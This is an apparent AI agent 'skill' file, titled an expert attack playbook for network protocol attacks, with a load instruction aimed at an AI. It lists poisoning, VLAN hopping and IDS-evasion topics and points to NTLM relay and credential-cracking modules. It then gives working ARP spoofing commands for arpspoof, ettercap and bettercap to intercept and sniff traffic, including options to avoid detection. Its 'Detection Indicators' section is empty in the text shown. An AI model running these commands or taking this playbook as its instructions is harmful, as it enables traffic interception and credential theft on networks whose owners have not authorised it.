SKILL: Network Protocol Attacks, Expert Attack Playbook

AI LOAD INSTRUCTION: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.

0. RELATED ROUTING

Before going deep, consider loading:

• tunneling-and-pivoting after establishing MitM position for traffic redirection
• ntlm-relay-coercion for relaying captured NTLM hashes from poisoning attacks
• unauthorized-access-common-services for exploiting services discovered during network attacks
• traffic-analysis-pcap for analyzing captured traffic from MitM

Advanced Reference

Also load NAME_RESOLUTION_POISONING.md when you need:

• Detailed Responder/mitm6 configuration and workflows
• NTLM relay target selection and chaining
• Credential format analysis and cracking priorities

---

1. ARP SPOOFING

Gratuitous ARP, MitM Positioning

# arpspoof (dsniff suite)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap, ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap, modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

Selective Targeting

# bettercap, target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on

Detection Indicators